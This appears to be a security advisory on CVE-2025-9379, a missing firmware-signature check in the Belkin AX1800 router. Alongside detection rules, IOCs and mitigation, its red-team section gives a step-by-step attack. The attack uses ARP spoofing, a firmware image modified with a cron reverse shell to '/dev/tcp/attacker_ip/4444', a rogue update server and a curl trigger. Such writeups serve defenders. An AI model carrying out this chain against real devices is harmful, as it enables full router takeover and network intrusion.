CVE-2025-9379

Executive Summary

CVE-2025-9379 is a critical vulnerability in the Belkin AX1800 router (firmware version 1.1.00.016) involving insufficient verification of data authenticity within the Firmware Update Handler. This flaw allows a remote, unauthenticated attacker to potentially inject malicious firmware updates, leading to full device compromise. The vendor (Belkin) has not responded to disclosure, and no patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains high due to the lack of remediation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a consumer networking device.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Network (remote exploitation possible)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): High
• Integrity (I): High
• Availability (A): High

Threat Level: Critical (based on remote, unauthenticated firmware injection potential)

Deep Dive & Mechanics

The vulnerability resides in the firmware update handler of the Belkin AX1800 router. The handler fails to properly verify the authenticity and integrity of firmware images before applying them. This allows an attacker to craft a malicious firmware update that, when delivered to the device (e.g., via a man-in-the-middle attack or by tricking the device into connecting to a rogue update server), will be accepted and flashed without cryptographic validation.

Attack Flow:

1. Attacker identifies a Belkin AX1800 router on the network.
2. Attacker intercepts or spoofs the firmware update request (e.g., via DNS poisoning or ARP spoofing).
3. Attacker delivers a malicious firmware image containing backdoors or persistent malware.
4. The router applies the update without verifying its signature or checksum.
5. The attacker gains full control over the device.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code is in the firmware update handler, which likely lacks signature verification.

Vulnerable (pseudocode):

void handle_firmware_update(uint8_t* firmware_data, size_t size) {
    // No signature or hash verification
    if (validate_size(size)) {
        flash_firmware(firmware_data);
    }
}

Patched (expected):

void handle_firmware_update(uint8_t* firmware_data, size_t size) {
    if (verify_signature(firmware_data, size) && validate_size(size)) {
        flash_firmware(firmware_data);
    } else {
        log_error("Invalid firmware signature");
    }
}

Exploitation & Lab Setup

Red Team

Lab Setup:

• Belkin AX1800 router (firmware 1.1.00.016)
• Attacker machine (Kali Linux)
• Network access to the router (e.g., same LAN or via WAN if exposed)

Exploitation Steps:

1. Reconnaissance: Scan for Belkin AX1800 devices using Shodan or Nmap.

   nmap -p 80,443,8080 --script http-title <target>
   

2. Intercept Update Traffic: Use ARP spoofing to intercept the router's update requests.

   arpspoof -i eth0 -t <router_ip> <gateway_ip>
   

3. Craft Malicious Firmware: Modify a legitimate firmware image to include a reverse shell.

   # Extract firmware
   binwalk -e firmware.bin
   # Inject payload (e.g., add a cron job for reverse shell)
   echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'" >> etc/crontabs/root
   # Repack firmware
   mkimage -A arm -O linux -T firmware -C none -a 0x8000 -e 0x8000 -n "malicious" -d rootfs.squashfs malicious.bin
   

4. Serve Malicious Firmware: Set up a rogue update server.

   python3 -m http.server 80
   

5. Trigger Update: Force the router to check for updates (e.g., via HTTP request to the router's update endpoint).

   curl -X POST http://<router_ip>/cgi-bin/update -d "url=http://attacker_ip/malicious.bin"
   

6. Receive Shell: Listen for the reverse shell.

   nc -lvnp 4444
   

Blue Team

Detection:

• Monitor for unusual firmware update requests to unknown IPs.
• Alert on ARP spoofing or DNS poisoning attempts.
• Check for unauthorized changes to router configuration.

Hunting:

• Search for devices with firmware version 1.1.00.016.
• Look for outbound connections to suspicious IPs on port 80/443 from the router.

Mitigation:

• Isolate the router on a separate VLAN.
• Disable automatic firmware updates.
• Use a VPN to encrypt management traffic.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to unknown IPs on port 80/443 from the router.
  • ARP spoofing alerts (MAC address mismatches).
  • DNS responses pointing to rogue update servers.
• Host:
  • Modified firmware version string (e.g., "1.1.00.016" with altered hash).
  • Unexpected processes or cron jobs on the router (if accessible).
  • Unusual open ports (e.g., 4444 for reverse shell).
• File:
  • Firmware image with invalid or missing signature.
  • Presence of /tmp/malicious.bin or similar files.

Detection Engineering

YARA Rule

rule CVE_2025_9379_Belkin_AX1800_Malicious_Firmware {
    meta:
        description = "Detects malicious firmware images targeting Belkin AX1800"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-9379"
    strings:
        $magic = { 48 44 52 30 } // HDR0 header
        $payload = "reverse_shell" nocase
        $cron = "crontabs/root" nocase
    condition:
        $magic at 0 and (any of ($payload, $cron))
}

Sigma Rule

title: Belkin AX1800 Malicious Firmware Update
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to update Belkin AX1800 firmware from an untrusted source
author: Valters IT
date: 2025-04-01
logsource:
    category: network
    product: suricata
detection:
    selection:
        http.hostname: "*"
        http.url: "/cgi-bin/update*"
        http.method: "POST"
    condition: selection
falsepositives:
    - Legitimate firmware updates from Belkin
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9379 Belkin AX1800 Malicious Firmware Update"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/update"; http_uri; content:"url="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable automatic firmware updates on the Belkin AX1800.
2. Isolate the device on a separate VLAN with restricted internet access.
3. Monitor network traffic for suspicious update requests.
4. Contact Belkin support to demand a patch.

Long-term:

• Replace the device with a vendor that provides timely security updates.
• Implement network segmentation and intrusion detection.
• Use a firewall to block outbound connections from the router to unknown IPs.

Valters IT
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